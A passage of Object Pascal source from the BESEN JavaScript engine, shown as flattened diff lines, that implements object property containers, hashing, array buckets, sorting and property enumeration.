procedure Sort(AIsArray:boolean); + function Put(const Key:TBESENString;Hash:TBESENHash=0):TBESENObjectProperty; + function Get(const Key:TBESENString;Hash:TBESENHash=0):TBESENObjectProperty; + procedure Remove(const Key:TBESENString;Hash:TBESENHash=0); + function GetFirst:TBESENObjectProperty; + function GetLast:TBESENObjectProperty; + function GetPrevious(const Item:TBESENObjectProperty):TBESENObjectProperty; + function GetNext(const Item:TBESENObjectProperty):TBESENObjectProperty; + end; + + TBESENObjectPropertyEnumerator=class(TBESENCollectorObject) + public + Obj:TBESENObject; + Previous,Next,Prototype:TBESENObjectPropertyEnumerator; + NextItem:TBESENObjectProperty; + GetOnlyOwnProperties:TBESENBoolean; + GetAllProperties:TBESENBoolean; + DuplicatesHashMap:TBESENHashMap; + constructor Create(AInstance:TObject;AObj:TBESENObject;AGetOnlyOwnProperties,AGetAllProperties:TBESENBoolean); overload; virtual; + destructor Destroy; override; + procedure Reset; + function GetNext(var Key:TBESENString):boolean; + end; + + PBESENObjectStructureProperty=^TBESENObjectStructureProperty; + TBESENObjectStructureProperty=record + Index:TBESENINT32; + ID:TBESENINT32; + Attributes:TBESENObjectPropertyDescriptorAttributes; + Presents:TBESENObjectPropertyDescriptorPresents; + end; + + TBESENObjectStructureProperties=array of TBESENObjectStructureProperty; + + TBESENObjectStructure=class(TBESENCollectorObject) + public + HashPrevious,HashNext,Previous,Next:TBESENObjectStructure; + TransitionFrom:TBESENObjectStructure; + ID:TBESENINT32; + Hash:TBESENHash; + PrototypeID:TBESENINT32; + Properties:TBESENObjectStructureProperties; + ReferenceCounter:longint; + constructor Create(AInstance:TObject); override; + destructor Destroy; override; + procedure IncRef; + procedure DecRef; + function IsPrefixTo(APrototypeID:TBESENINT32;const AProperties:TBESENObjectStructureProperties;var FirstNewPropIndex:longint):TBESENBoolean; + function IsEqualTo(APrototypeID:TBESENINT32;AHash:TBESENHash;const AProperties:TBESENObjectStructureProperties):TBESENBoolean; + function ContainsStructureID(StructureID:TBESENINT32):TBESENBoolean; + function GetStructureIDFromKeyID(KeyID:TBESENINT32):TBESENINT32; + end; + + TBESENObjectStructures=array of TBESENObjectStructure; + + PBESENObjectStructureIDManagerHashBucket=^TBESENObjectStructureIDManagerHashBucket; + TBESENObjectStructureIDManagerHashBucket=record + HashFirst,HashLast:TBESENObjectStructure; + end; + + TBESENObjectStructureIDManagerHashBuckets=array[0..BESENObjectStructureIDManagerHashSize-1] of TBESENObjectStructureIDManagerHashBucket; + + TBESENObjectStructureIDManager=class(TBESENBaseObject) + private + procedure Remove(Structure:TBESENObjectStructure); + public + First,Last:TBESENObjectStructure; + IDCounter:TBESENINT32; + HashBuckets:TBESENObjectStructureIDManagerHashBuckets; + constructor Create(AInstance:TObject); override; + destructor Destroy; override; + procedure Reset; + function ResetIfNeeded:longbool; + function Get(PrototypeID:TBESENINT32;const Properties:TBESENObjectStructureProperties;OldStructure:TBESENObjectStructure):TBESENObjectStructure; + end; + + TBESENObject=class(TBESENGarbageCollectorObject) + private + procedure SetPrototypeObject(NewPrototypeObject:TBESENObject); + procedure RebuildOwnStructure; + protected + procedure InvalidateStructure; + procedure PutNew(const P:TBESENString;const V:TBESENValue;Throw:TBESENBoolean;Hash:TBESENHash=0); + procedure PutSetter(Base:TBESENObject;const P:TBESENString;const V:TBESENValue;Throw:TBESENBoolean;const Descriptor:TBESENObjectPropertyDescriptor;var TempValue:TBESENValue); + procedure GetGetter(Base:TBESENObject;var AResult:TBESENValue;const Descriptor:TBESENObjectPropertyDescriptor); + public + ObjectClassName:TBESENString; + ObjectName:TBESENString; + Properties:TBESENObjectPropertyContainer; + Extensible:TBESENBoolean; + PrototypeObject:TBESENObject; + PrototypeChildren:TBESENPointerSelfBalancedTree; + Structure:TBESENObjectStructure; + StructureID:TBESENINT32; + StructureHash:TBESENHash; + LastProp:TBESENObjectProperty; + constructor Create(AInstance:TObject;APrototype:TBESENObject=nil;AHasPrototypeProperty:longbool=false); overload; virtual; + destructor Destroy; override; + function RebuildStructure:TBESENBoolean; + procedure RegisterNativeFunction(const AName:TBESENSTRING;const ANative:TBESENNativeFunction;const Len:longint=0;const Attributes:TBESENObjectPropertyDescriptorAttributes=[];const AHasPrototypeProperty:longbool=false); + function HasRecursivePrototypeChain:TBESENBoolean; + procedure PutPrototype(const V:TBESENValue;Throw:TBESENBoolean); + function OverwriteAccessor(const P:TBESENString;const Getter:TBESENObject=nil;const Setter:TBESENObject=nil;const Attributes:TBESENObjectPropertyDescriptorAttributes=[];Throw:TBESENBoolean=false):TBESENBoolean; + function OverwriteData(const P:TBESENString;const Value:TBESENValue;const Attributes:TBESENObjectPropertyDescriptorAttributes=[];Throw:TBESENBoolean=false):TBESENBoolean; + function GetOwnProperty(const P:TBESENString;var Descriptor:TBESENObjectPropertyDescriptor;Hash:TBESENHash=0):boolean; virtual; + function GetProperty(const P:TBESENString;var Descriptor:TBESENObjectPropertyDescriptor;Hash:TBESENHash=0):boolean; + function GetEx(const P:TBESENString;var AResult:TBESENValue;var Descriptor:TBESENObjectPropertyDescriptor;Base:TBESENObject=nil;Hash:TBESENHash=0):boolean; virtual; + function GetFull(const P:TBESENString;var AResult:TBESENValue;var Descriptor:TBESENObjectPropertyDescriptor;Base:TBESENObject=nil;Hash:TBESENHash=0):boolean; + function GetIndex(const Index,ID:longint;var AResult:TBESENValue;Base:TBESENObject=nil):boolean; virtual; + function GetArrayIndex(const Index:TBESENUINT32;var AResult:TBESENValue;Base:TBESENObject=nil):boolean; virtual; + function Get(const P:TBESENString;var AResult:TBESENValue;Base:TBESENObject=nil;Hash:TBESENHash=0):boolean; + function CanPut(const P:TBESENString;var Descriptor,OwnDescriptor:TBESENObjectPropertyDescriptor;Hash:TBESENHash=0):TBESENBoolean; + procedure PutEx(const P:TBESENString;const V:TBESENValue;Throw:TBESENBoolean;var Descriptor,OwnDescriptor:TBESENObjectPropertyDescriptor;var TempValue:TBESENValue;Hash:TBESENHash=0); virtual; + procedure PutFull(const P:TBESENString;const V:TBESENValue;Throw:TBESENBoolean;var Descriptor,OwnDescriptor:TBESENObjectPropertyDescriptor;var Temp:TBESENValue;Hash:TBESENHash=0); + procedure PutIndex(const Index,ID:longint;const V:TBESENValue;Throw:TBESENBoolean); virtual; + procedure PutArrayIndex(const Index:TBESENUINT32;const V:TBESENValue;Throw:TBESENBoolean); virtual; + procedure Put(const P:TBESENString;const V:TBESENValue;Throw:TBESENBoolean;Hash:TBESENHash=0); + function HasPropertyEx(const P:TBESENString;var Descriptor:TBESENObjectPropertyDescriptor;Hash:TBESENHash=0):TBESENBoolean; virtual; + function HasProperty(const P:TBESENString;Hash:TBESENHash=0):TBESENBoolean; + function DeleteEx(const P:TBESENString;Throw:TBESENBoolean;var Descriptor:TBESENObjectPropertyDescriptor;Hash:TBESENHash=0):TBESENBoolean; virtual; + function Delete(const P:TBESENString;Throw:TBESENBoolean;Hash:TBESENHash=0):TBESENBoolean; + function DeleteIndex(const Index,ID:longint;Throw:TBESENBoolean):TBESENBoolean; virtual; + function DeleteArrayIndex(const Index:TBESENUINT32;Throw:TBESENBoolean):TBESENBoolean; virtual; + function DefineOwnPropertyEx(const P:TBESENString;const Descriptor:TBESENObjectPropertyDescriptor;Throw:TBESENBoolean;var Current:TBESENObjectPropertyDescriptor;Hash:TBESENHash=0):TBESENBoolean; virtual; + function DefineOwnProperty(const P:TBESENString;const Descriptor:TBESENObjectPropertyDescriptor;Throw:TBESENBoolean;Hash:TBESENHash=0):TBESENBoolean; + procedure DefaultValue(const AHint:TBESENValue;var AResult:TBESENValue); virtual; + function Enumerator(GetOnlyOwnProperties,GetAllProperties:TBESENBoolean):TBESENObjectPropertyEnumerator; virtual; + procedure Construct(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:longint;var AResult:TBESENValue); virtual; + procedure Call(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:longint;var AResult:TBESENValue); virtual; + function HasInstance(const AInstance:TBESENValue):TBESENBoolean; virtual; + function GetSecurityDomain:pointer; virtual; + function HasCall:TBESENBoolean; virtual; + function HasConstruct:TBESENBoolean; virtual; + function HasHasInstance:TBESENBoolean; virtual; + function HasEnumerator:TBESENBoolean; virtual; + function HasGetSecurityDomain:TBESENBoolean; virtual; + procedure Finalize; override; + procedure Mark; override; + property Prototype:TBESENObject read PrototypeObject write SetPrototypeObject; + end; + +procedure BESENCheckObjectCoercible(const v:TBESENValue); {$ifdef caninline}inline;{$endif} + +function BESENIsCallable(const v:TBESENValue):TBESENBoolean; {$ifdef caninline}inline;{$endif} + +implementation + +uses BESEN,BESENUtils,BESENArrayUtils,BESENHashUtils,BESENStringUtils,BESENCode,BESENErrors, + BESENObjectNativeFunction; + +function SortedKeyNormal(AProp:TBESENString):TBESENString; +begin + result:=AProp; +end; + +function SortedKeyNumberic(AProp:TBESENString):TBESENString; +var i:int64; +begin + if BESENArrayToIndex(AProp,i) then begin + result:=AProp; + while length(result)<16 do begin + result:='0'+result; + end; + result:=widechar(word($feff))+result; + end else begin + result:=widechar(word($fffe))+AProp; + end; +end; + +type TSortedKeyFunc=function(AProp:TBESENString):TBESENString; + +const SortedKeyFunc:array[boolean] of TSortedKeyFunc=(SortedKeyNormal,SortedKeyNumberic); + +constructor TBESENObjectProperty.Create(AInstance:TObject;const APropertyMap:TBESENObjectPropertyContainer;const AHash,AFullHash:TBESENHash;const AKey:TBESENString); +var InsertAtItem:TBESENObjectProperty; + SelfBalancedTreeValue:TBESENSelfBalancedTreeValue; + InsertAtNode:PBESENSelfBalancedTreeNode; + v:int64; + i,j:longint; + OK:boolean; +begin + inherited Create(AInstance); + Index:=-1; + v:=0; + if TBESEN(Instance).InlineCacheEnabled then begin + if BESENArrayToIndex(AKey,v) then begin + ID:=TBESEN(Instance).KeyIDManager.Find(AKey,AFullHash); + end else begin + v:=-1; + ID:=TBESEN(Instance).KeyIDManager.Get(AKey,AFullHash); + end; + end else begin + if not BESENArrayToIndex(AKey,v) then begin + v:=-1; + end; + ID:=-1; + end; + PropIndex:=-1; + ArrayIndex:=-1; + PropertyContainer:=APropertyMap; + Hash:=AHash; + FullHash:=AFullHash; + Key:=AKey; + Descriptor.Value.ValueType:=bvtUNDEFINED; + Descriptor.Getter:=nil; + Descriptor.Setter:=nil; + Descriptor.Attributes:=[]; + Descriptor.Presents:=[]; + IsInSelfBalancedTree:=false; + SelfBalancedTreeNode:=nil; + if ID>=0 then begin + Index:=PropertyContainer.ItemCount; + inc(PropertyContainer.ItemCount); + if Index>=length(PropertyContainer.Items) then begin + SetLength(PropertyContainer.Items,Index+256); + end; + PropertyContainer.Items[Index]:=self; + end; + if PropertyContainer.IsArray then begin + if (v>=0) and (v<=$7fffffff) then begin + ArrayIndex:=v; + PropertyContainer.ArraySet(ArrayIndex,self); + end; + end; + if assigned(PropertyContainer.HashBuckets[Hash].HashFirst) then begin + PropertyContainer.HashBuckets[Hash].HashFirst.HashPrevious:=self; + HashNext:=PropertyContainer.HashBuckets[Hash].HashFirst; + HashPrevious:=nil; + PropertyContainer.HashBuckets[Hash].HashFirst:=self; + end else begin + PropertyContainer.HashBuckets[Hash].HashFirst:=self; + PropertyContainer.HashBuckets[Hash].HashLast:=self; + HashPrevious:=nil; + HashNext:=nil; + end; +{if assigned(PropertyContainer.HashBuckets[Hash].HashLast) then begin + PropertyContainer.HashBuckets[Hash].HashLast.HashNext:=self; + HashPrevious:=PropertyContainer.HashBuckets[Hash].HashLast; + HashNext:=nil; + PropertyContainer.HashBuckets[Hash].HashLast:=self; + end else begin + PropertyContainer.HashBuckets[Hash].HashFirst:=self; + PropertyContainer.HashBuckets[Hash].HashLast:=self; + HashPrevious:=nil; + HashNext:=nil; + end;} + if PropertyContainer.Sorted then begin + if assigned(PropertyContainer.First) then begin + if SortedKeyFunc[boolean(PropertyContainer.IsArray)](PropertyContainer.First.Key)>=SortedKeyFunc[boolean(PropertyContainer.IsArray)](Key) then begin + PropertyContainer.First.Previous:=self; + Previous:=nil; + Next:=PropertyContainer.First; + PropertyContainer.First:=self; + end else if SortedKeyFunc[boolean(PropertyContainer.IsArray)](PropertyContainer.Last.Key)<=SortedKeyFunc[boolean(PropertyContainer.IsArray)](Key) then begin + PropertyContainer.Last.Next:=self; + Previous:=PropertyContainer.Last; + Next:=nil; + PropertyContainer.Last:=self; + end else begin + InsertAtNode:=PropertyContainer.SelfBalancedTree.FindNearest(SortedKeyFunc[boolean(PropertyContainer.IsArray)](Key)); + if assigned(InsertAtNode) then begin + InsertAtItem:=InsertAtNode^.Value.p; + if SortedKeyFunc[boolean(PropertyContainer.IsArray)](Key)<SortedKeyFunc[boolean(PropertyContainer.IsArray)](InsertAtItem.Key) then begin + Previous:=InsertAtItem.Previous; + Next:=InsertAtItem; + InsertAtItem.Previous:=self; + if assigned(Previous) then begin + Previous.Next:=self; + end else begin + PropertyContainer.First:=self; + end; + end else begin + Previous:=InsertAtItem; + Next:=InsertAtItem.Next; + InsertAtItem.Next:=self; + if assigned(Next) then begin + Next.Previous:=self; + end else begin + PropertyContainer.Last:=self; + end; + end; + end else begin + InsertAtItem:=PropertyContainer.First; + while assigned(InsertAtItem) and (SortedKeyFunc[boolean(PropertyContainer.IsArray)](InsertAtItem.Key)<=SortedKeyFunc[boolean(PropertyContainer.IsArray)](Key)) do begin + InsertAtItem:=InsertAtItem.Next; + end; + if assigned(InsertAtItem) then begin + Previous:=InsertAtItem.Previous; + Next:=InsertAtItem; + InsertAtItem.Previous:=self; + if assigned(Previous) then begin + Previous.Next:=self; + end else begin + PropertyContainer.First:=self; + end; + end else begin + PropertyContainer.Last.Next:=self; + Previous:=PropertyContainer.Last; + Next:=nil; + PropertyContainer.Last:=self; + end; + end; + end; + end else begin + PropertyContainer.First:=self; + PropertyContainer.Last:=self; + Previous:=nil; + Next:=nil; + end; + SelfBalancedTreeValue.p:=self; + SelfBalancedTreeNode:=PropertyContainer.SelfBalancedTree.Insert(SortedKeyFunc[boolean(PropertyContainer.IsArray)](Key),SelfBalancedTreeValue); + if assigned(SelfBalancedTreeNode) then begin + IsInSelfBalancedTree:=true; + end; + end else begin + if assigned(PropertyContainer.Last) then begin + PropertyContainer.Last.Next:=self; + Previous:=PropertyContainer.Last; + Next:=nil; + PropertyContainer.Last:=self; + end else begin + PropertyContainer.First:=self; + PropertyContainer.Last:=self; + Previous:=nil; + Next:=nil; + end; + end; + if ID>=0 then begin + PropertyContainer.Obj.InvalidateStructure; + end; +end; + +destructor TBESENObjectProperty.Destroy; +begin + if ID>=0 then begin + PropertyContainer.Obj.InvalidateStructure; + end; + if (Index>=0) and (Index<length(PropertyContainer.Items)) then begin + PropertyContainer.Items[Index]:=nil; + end; + Index:=-1; + if ArrayIndex>=0 then begin + PropertyContainer.ArraySet(ArrayIndex,nil); + end; + ArrayIndex:=-1; + if assigned(Previous) then begin + Previous.Next:=Next; + end else if PropertyContainer.First=self then begin + PropertyContainer.First:=Next; + end; + if assigned(Next) then begin + Next.Previous:=Previous; + end else if PropertyContainer.Last=self then begin + PropertyContainer.Last:=Previous; + end; + Next:=nil; + Previous:=nil; + if assigned(HashPrevious) then begin + HashPrevious.HashNext:=HashNext; + end else if PropertyContainer.HashBuckets[Hash].HashFirst=self then begin + PropertyContainer.HashBuckets[Hash].HashFirst:=HashNext; + end; + if assigned(HashNext) then begin + HashNext.HashPrevious:=HashPrevious; + end else if PropertyContainer.HashBuckets[Hash].HashLast=self then begin + PropertyContainer.HashBuckets[Hash].HashLast:=HashPrevious; + end; + HashNext:=nil; + HashPrevious:=nil; + if IsInSelfBalancedTree then begin + if assigned(SelfBalancedTreeNode) then begin + SelfBalancedTreeNode.Value.p:=nil; + end; + PropertyContainer.SelfBalancedTree.Remove(SortedKeyFunc[boolean(PropertyContainer.IsArray)](Key)); + IsInSelfBalancedTree:=false; + end; + Key:=''; + inherited Destroy; +end; + +constructor TBESENObjectPropertyContainer.Create(AInstance:TObject;ASorted:boolean;AObj:TBESENObject); +var Hash:TBESENHash; +begin + inherited Create(AInstance); + SelfBalancedTree:=TBESENSelfBalancedTree.Create; + FillChar(HashBuckets,sizeof(TBESENObjectPropertyContainerHashBuckets),#0); + Sorted:=ASorted; + Obj:=AObj; + Items:=nil; + ItemCount:=0; + ArrayBuckets:=nil; + ArrayItemCount:=0; + First:=nil; + Last:=nil; + EnumeratorFirst:=nil; + EnumeratorLast:=nil; + HashSize:=256; + HashSizeMask:=HashSize-1; + HashedItems:=0; + HashBucketsUsed:=0; + SetLength(HashBuckets,HashSize); + for Hash:=0 to HashSizeMask do begin + HashBuckets[Hash].HashFirst:=nil; + HashBuckets[Hash].HashLast:=nil; + end; + LastUsedItem:=nil; +end; + +destructor TBESENObjectPropertyContainer.Destroy; +var Enumerator,NextEnumerator:TBESENObjectPropertyEnumerator; +begin + Enumerator:=EnumeratorFirst; + while assigned(Enumerator) do begin + NextEnumerator:=Enumerator.Next; + Enumerator.Previous:=nil; + Enumerator.Next:=nil; + BESENFreeAndNil(Enumerator); + Enumerator:=NextEnumerator; + end; + Clear; + SetLength(HashBuckets,0); + SetLength(Items,0); + ItemCount:=0; + SetLength(ArrayBuckets,0); + ArrayItemCount:=0; + SelfBalancedTree.Free; + inherited Destroy; +end; + +procedure TBESENObjectPropertyContainer.Clear; +var Hash:TBESENHash; + Item,NextItem:TBESENObjectProperty; + i:longint; +begin + Item:=First; + while assigned(Item) do begin + NextItem:=Item.Next; + Item.Previous:=nil; + Item.Next:=nil; + BESENFreeAndNil(Item); + Item:=NextItem; + end; + First:=nil; + Last:=nil; + HashSize:=256; + HashSizeMask:=HashSize-1; + HashedItems:=0; + HashBucketsUsed:=0; + SetLength(HashBuckets,HashSize); + for Hash:=0 to HashSizeMask do begin + HashBuckets[Hash].HashFirst:=nil; + HashBuckets[Hash].HashLast:=nil; + end; + for i:=0 to length(Items)-1 do begin + Items[i]:=nil; + end; + ItemCount:=0; + for i:=0 to length(ArrayBuckets)-1 do begin + SetLength(ArrayBuckets[i],0); + end; + SetLength(ArrayBuckets,0); + ArrayItemCount:=0; + LastUsedItem:=nil; +end; + +procedure TBESENObjectPropertyContainer.ArraySet(Index:longint;PropertyValue:TBESENObjectProperty); +var BucketIndex,InBucketIndex,OldLength,Counter,NewLength:longint; +begin + if Index>=0 then begin + BucketIndex:=Index shr 16; + InBucketIndex:=Index and $ffff; + if assigned(PropertyValue) then begin + OldLength:=length(ArrayBuckets); + if OldLength<=BucketIndex then begin + SetLength(ArrayBuckets,BESENRoundUpToPowerOfTwo(BucketIndex+1)); + for Counter:=OldLength to length(ArrayBuckets)-1 do begin + ArrayBuckets[Counter]:=nil; + end; + end; + OldLength:=length(ArrayBuckets[BucketIndex]); + if OldLength<=InBucketIndex then begin + SetLength(ArrayBuckets[BucketIndex],BESENRoundUpToPowerOfTwo(InBucketIndex+1)); + for Counter:=OldLength to length(ArrayBuckets[BucketIndex])-1 do begin + ArrayBuckets[BucketIndex,Counter]:=nil; + end; + end; + ArrayBuckets[BucketIndex,InBucketIndex]:=PropertyValue; + end else begin + if BucketIndex<length(ArrayBuckets) then begin + OldLength:=length(ArrayBuckets[BucketIndex]); + if InBucketIndex<OldLength then begin + ArrayBuckets[BucketIndex,InBucketIndex]:=nil; + NewLength:=0; + for Counter:=OldLength-1 downto 0 do begin + if assigned(ArrayBuckets[BucketIndex,Counter]) then begin + NewLength:=Counter+1; + break; + end; + end; + if NewLength=0 then begin + SetLength(ArrayBuckets[BucketIndex],0); + ArrayBuckets[BucketIndex]:=nil; + end else if NewLength<>OldLength then begin + NewLength:=BESENRoundUpToPowerOfTwo(NewLength+1); + if NewLength<>OldLength then begin + SetLength(ArrayBuckets[BucketIndex],NewLength); + end; + end; + end; + OldLength:=length(ArrayBuckets); + NewLength:=0; + for Counter:=OldLength-1 downto 0 do begin + if assigned(ArrayBuckets[Counter]) then begin + NewLength:=Counter+1; + break; + end; + end; + if NewLength=0 then begin + SetLength(ArrayBuckets,0); + ArrayBuckets:=nil; + end else if NewLength<>OldLength then begin + NewLength:=BESENRoundUpToPowerOfTwo(NewLength+1); + if NewLength<>OldLength then begin + SetLength(ArrayBuckets,NewLength); + end; + end; + end; + end; + BucketIndex:=length(ArrayBuckets)-1; + if BucketIndex>=0 then begin + ArrayItemCount:=(BucketIndex shl 16)+length(ArrayBuckets[BucketIndex]); + end else begin + ArrayItemCount:=0; + end; + end; +end; + +function TBESENObjectPropertyContainer.ArrayGet(Index:longint):TBESENObjectProperty; +var BucketIndex,InBucketIndex:longint; +begin + result:=nil; + if Index>=0 then begin + BucketIndex:=Index shr 16; + InBucketIndex:=Index and $ffff; + if (BucketIndex<length(ArrayBuckets)) and (InBucketIndex<length(ArrayBuckets[BucketIndex])) then begin + result:=ArrayBuckets[BucketIndex,InBucketIndex]; + end; + end; +end; + +procedure TBESENObjectPropertyContainer.Sort(AIsArray:boolean); +var PartA,PartB,Item:TBESENObjectProperty; + InSize,PartASize,PartBSize,Merges:longint; + SelfBalancedTreeValue:TBESENSelfBalancedTreeValue; + s:TBESENString; +begin + if not Sorted then begin + IsArray:=AIsArray; + end; + if assigned(First) then begin + InSize:=1; + while true do begin + PartA:=First; + First:=nil; + Last:=nil; + Merges:=0; + while assigned(PartA) do begin + inc(Merges); + PartB:=PartA; + PartASize:=0; + while PartASize<InSize do begin + inc(PartASize); + PartB:=PartB.Next; + if not assigned(PartB) then begin + break; + end; + end; + PartBSize:=InSize; + while (PartASize>0) or ((PartBSize>0) and assigned(PartB)) do begin + if PartASize=0 then begin + Item:=PartB; + PartB:=PartB.Next; + dec(PartBSize); + end else if (PartBSize=0) or not assigned(PartB) then begin + Item:=PartA; + PartA:=PartA.Next; + dec(PartASize); + end else if SortedKeyFunc[boolean(IsArray)](PartA.Key)<=SortedKeyFunc[boolean(IsArray)](PartB.Key) then begin + Item:=PartA; + PartA:=PartA.Next; + dec(PartASize); + end else begin + Item:=PartB; + PartB:=PartB.Next; + dec(PartBSize); + end; + if assigned(Last) then begin + Last.Next:=Item; + end else begin + First:=Item; + end; + Item.Previous:=Last; + Last:=Item; + end; + PartA:=PartB; + end; + Last.Next:=nil; + if Merges<=1 then begin + break; + end; + inc(InSize,InSize); + end; + if not Sorted then begin + Item:=First; + while assigned(Item) do begin + SelfBalancedTreeValue.p:=Item; + s:=SortedKeyFunc[boolean(IsArray)](Item.Key); + Item.SelfBalancedTreeNode:=SelfBalancedTree.Insert(s,SelfBalancedTreeValue); + s:=''; + Item.IsInSelfBalancedTree:=assigned(Item.SelfBalancedTreeNode); + Item:=Item.Next; + end; + end; + end; + Sorted:=true; +end; + +procedure TBESENObjectPropertyContainer.GrowAndRehashIfNeeded; +var Hash:TBESENHash; + Item:TBESENObjectProperty; +begin + if (HashSize<BESENHashMaxSize) and (HashedItems>=(HashBucketsUsed*BESENHashItemsPerBucketsThreshold)) then begin + for Hash:=0 to HashSizeMask do begin + HashBuckets[Hash].HashFirst:=nil; + HashBuckets[Hash].HashLast:=nil; + end; + inc(HashSize,HashSize); + if HashSize>BESENHashMaxSize then begin + HashSize:=BESENHashMaxSize; + end; + HashSizeMask:=HashSize-1; + SetLength(HashBuckets,HashSize); + for Hash:=0 to HashSizeMask do begin + HashBuckets[Hash].HashFirst:=nil; + HashBuckets[Hash].HashLast:=nil; + end; + HashedItems:=0; + Item:=First; + while assigned(Item) do begin + inc(HashedItems); + Item.HashPrevious:=nil; + Item.HashNext:=nil; + Item:=Item.Next; + end; + HashBucketsUsed:=0; + Item:=First; + while assigned(Item) do begin + Hash:=Item.FullHash and HashSizeMask; + Item.Hash:=Hash; + if assigned(HashBuckets[Hash].HashLast) then begin + HashBuckets[Hash].HashLast.HashNext:=Item; + Item.HashPrevious:=HashBuckets[Hash].HashLast; + HashBuckets[Hash].HashLast:=Item; + Item.HashNext:=nil; + end else begin + inc(HashBucketsUsed); + HashBuckets[Hash].HashFirst:=Item; + HashBuckets[Hash].HashLast:=Item; + Item.HashPrevious:=nil; + Item.HashNext:=nil; + end; + Item:=Item.Next; + end; + end; +end; + +function TBESENObjectPropertyContainer.Put(const Key:TBESENString;Hash:TBESENHash=0):TBESENObjectProperty; +var Item:TBESENObjectProperty; + Enumerator:TBESENObjectPropertyEnumerator; + FullHash:TBESENHash; +begin + result:=nil; + if assigned(LastUsedItem) and (LastUsedItem.Key=Key) then begin + Item:=LastUsedItem; + Hash:=Item.Hash; + FullHash:=Item.FullHash; + end else begin + IF Hash=0 then begin + Hash:=BESENHashKey(Key); + end; + FullHash:=Hash; + Hash:=Hash and HashSizeMask; + Item:=HashBuckets[Hash].HashFirst; + if not assigned(Item) then begin + inc(HashBucketsUsed); + end; + while assigned(Item) and (Item.Key<>Key) do begin + Item:=Item.Next; + end; + end; + if assigned(Item) then begin + LastUsedItem:=Item; + result:=Item; + end else begin + inc(HashedItems); + Item:=TBESENObjectProperty.Create(Instance,self,Hash,FullHash,Key); + if assigned(Item) then begin + result:=Item; + LastUsedItem:=Item; + Enumerator:=EnumeratorFirst; + while assigned(Enumerator) do begin + if not assigned(Enumerator.NextItem) then begin + Enumerator.NextItem:=Item; + end; + Enumerator:=Enumerator.Next; + end; + end; + end; + GrowAndRehashIfNeeded; +end; + +function TBESENObjectPropertyContainer.Get(const Key:TBESENString;Hash:TBESENHash=0):TBESENObjectProperty; +begin + if assigned(LastUsedItem) and (LastUsedItem.Key=Key) then begin + result:=LastUsedItem; + Hash:=result.Hash; + end else begin + IF Hash=0 then begin + Hash:=BESENHashKey(Key); + end; + Hash:=Hash and HashSizeMask; + result:=HashBuckets[Hash].HashFirst; + while assigned(result) and (result.Key<>Key) do begin + result:=result.HashNext; + end; + end; + if assigned(result) then begin + LastUsedItem:=result; + if HashBuckets[Hash].HashFirst<>result then begin + if assigned(result.HashPrevious) then begin + result.HashPrevious.HashNext:=result.HashNext; + end; + if assigned(result.HashNext) then begin + result.HashNext.HashPrevious:=result.HashPrevious; + end else if HashBuckets[Hash].HashLast=result then begin + HashBuckets[Hash].HashLast:=result.HashPrevious; + end; + HashBuckets[Hash].HashFirst.HashPrevious:=result; + result.HashNext:=HashBuckets[Hash].HashFirst; + result.HashPrevious:=nil; + HashBuckets[Hash].HashFirst:=result; + end; + end; +end; + +procedure TBESENObjectPropertyContainer.Remove(const Key:TBESENString;Hash:TBESENHash=0); +var Item:TBESENObjectProperty; + Enumerator:TBESENObjectPropertyEnumerator; +begin + if assigned(LastUsedItem) and (LastUsedItem.Key=Key) then begin + Item:=LastUsedItem; + end else begin + IF Hash=0 then begin + Hash:=BESENHashKey(Key); + end; + Hash:=Hash and HashSizeMask; + Item:=HashBuckets[Hash].HashFirst; + while assigned(Item) and (Item.Key<>Key) do begin + Item:=Item.HashNext; + end; + end; + if assigned(Item) then begin + if LastUsedItem=Item then begin + if assigned(Item.Next) then begin + LastUsedItem:=Item.Next; + end else begin + LastUsedItem:=Item.Previous; + end; + end; + Enumerator:=EnumeratorFirst; + while assigned(Enumerator) do begin + if Enumerator.NextItem=Item then begin + Enumerator.NextItem:=Item.Next; + end; + Enumerator:=Enumerator.Next; + end; + Item.Free; + if HashedItems>0 then begin + dec(HashedItems); + end; + end; +end; + +function TBESENObjectPropertyContainer.GetFirst:TBESENObjectProperty; +begin + result:=First; +end; + +function TBESENObjectPropertyContainer.GetLast:TBESENObjectProperty; +begin + result:=Last; +end; + +function TBESENObjectPropertyContainer.GetPrevious(const Item:TBESENObjectProperty):TBESENObjectProperty; +begin + if assigned(Item) then begin + result:=Item.Previous; + end else begin + result:=nil; + end; +end; + +function TBESENObjectPropertyContainer.GetNext(const Item:TBESENObjectProperty):TBESENObjectProperty; +begin + if assigned(Item) then begin + result:=Item.Next; + end else begin + result:=nil; + end; +end; + +constructor TBESENObjectPropertyEnumerator.Create(AInstance:TObject;AObj:TBESENObject;AGetOnlyOwnProperties,AGetAllProperties:TBESENBoolean); +begin + inherited Create(AInstance); + Obj:=AObj; + GetOnlyOwnProperties:=AGetOnlyOwnProperties; + GetAllProperties:=AGetAllProperties; + DuplicatesHashMap:=TBESENHashMap.Create; + if assigned(Obj.Properties.EnumeratorLast) then begin + Obj.Properties.EnumeratorLast.Next:=self; + Previous:=Obj.Properties.EnumeratorLast; + Next:=nil; + Obj.Properties.EnumeratorLast:=self; + end else begin + Obj.Properties.EnumeratorFirst:=self; + Obj.Properties.EnumeratorLast:=self; + Previous:=nil; + Next:=nil; + end; + Prototype:=nil; + NextItem:=nil; +end; + +destructor TBESENObjectPropertyEnumerator.Destroy; +begin + BESENFreeAndNil(Prototype); + BESENFreeAndNil(DuplicatesHashMap); + if assigned(Previous) then begin + Previous.Next:=Next; + end else if Obj.Properties.EnumeratorFirst=self then begin + Obj.Properties.EnumeratorFirst:=Next; + end; + if assigned(Next) then begin + Next.Previous:=Previous; + end else if Obj.Properties.EnumeratorLast=self then begin + Obj.Properties.EnumeratorLast:=Previous; + end; + Previous:=nil; + Next:=nil; + inherited Destroy; +end; + +procedure TBESENObjectPropertyEnumerator.Reset; +begin + if assigned(Prototype) then begin + BESENFreeAndNil(Prototype); + end; + if GetOnlyOwnProperties then begin + Prototype:=nil; + end else begin + if assigned(Obj.Prototype) then begin + Prototype:=Obj.Prototype.Enumerator(GetOnlyOwnProperties,GetAllProperties); + end else begin + Prototype:=nil; + end; + end; + NextItem:=TBESENObjectProperty(Obj.Properties.GetFirst); +end; + +function TBESENObjectPropertyEnumerator.GetNext(var Key:TBESENString):boolean; +var Prop:TBESENObjectProperty; + Hash:TBESENHash; +begin + while assigned(Prototype) do begin + if Prototype.GetNext(Key) then begin + Hash:=BESENHashKey(Key); + Prop:=Obj.Properties.Get(Key,Hash); + if assigned(Prop) then begin + if not 